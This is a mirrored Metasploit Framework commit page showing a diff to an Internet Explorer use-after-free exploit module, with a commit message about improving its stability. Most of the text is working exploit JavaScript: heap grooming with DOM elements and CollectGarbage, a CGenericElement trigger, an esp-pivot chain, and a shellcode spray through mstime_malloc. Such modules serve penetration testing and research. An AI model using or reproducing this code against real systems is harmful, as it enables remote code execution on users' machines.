mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Modifies the exploit a little for better stability
This patch makes sure the LFH is enabled before the CGenericElement object is created. Triggers is also modified a little.
This commit is contained in:
parent
1917961904
commit
cc951e3412
@ -222,7 +222,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
<meta>
|
||||
<?IMPORT namespace="t" implementation="#default#time2">
|
||||
</meta>
|
||||
|
||||
<script>
|
||||
#{js_mstime_malloc}
|
||||
|
||||
@ -234,43 +233,36 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
}
|
||||
sparkle += unescape("AB");
|
||||
sparkle += unescape("#{js_payload}");
|
||||
|
||||
magenta = unescape("#{align_esp}");
|
||||
|
||||
for (i=0; i < 0x70/4; i++) {
|
||||
if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
|
||||
else { magenta += unescape("#{align_esp}"); }
|
||||
}
|
||||
|
||||
magenta += sparkle;
|
||||
|
||||
f0 = document.createElement('span');
|
||||
document.body.appendChild(f0);
|
||||
f1 = document.createElement('span');
|
||||
document.body.appendChild(f1);
|
||||
f2 = document.createElement('span');
|
||||
document.body.appendChild(f2);
|
||||
document.body.contentEditable="true";
|
||||
f0 = document.createElement('span');
|
||||
f1 = document.createElement('span');
|
||||
f2 = document.createElement('span');
|
||||
document.body.appendChild(f0);
|
||||
document.body.appendChild(f1);
|
||||
document.body.appendChild(f2);
|
||||
for (i=0; i < 20; i++) { document.createElement("img"); }
|
||||
f2.appendChild(document.createElement('datalist'));
|
||||
f1.appendChild(document.createElement('span'));
|
||||
CollectGarbage();
|
||||
f1.appendChild(document.createElement('table'));
|
||||
|
||||
try { f0.offsetParent=null;}
|
||||
catch(e) { }
|
||||
|
||||
f2.innerHTML = "";
|
||||
f0.appendChild(document.createElement('hr'));
|
||||
f1.innerHTML = "";
|
||||
|
||||
CollectGarbage();
|
||||
f0.appendChild(document.createElement('hr'));
|
||||
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
|
||||
}
|
||||
|
||||
</script>
|
||||
</head>
|
||||
<body onload="eval(helloWorld());">
|
||||
<t:ANIMATECOLOR id="myanim"/>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
Loading…
Reference in New Issue
Block a user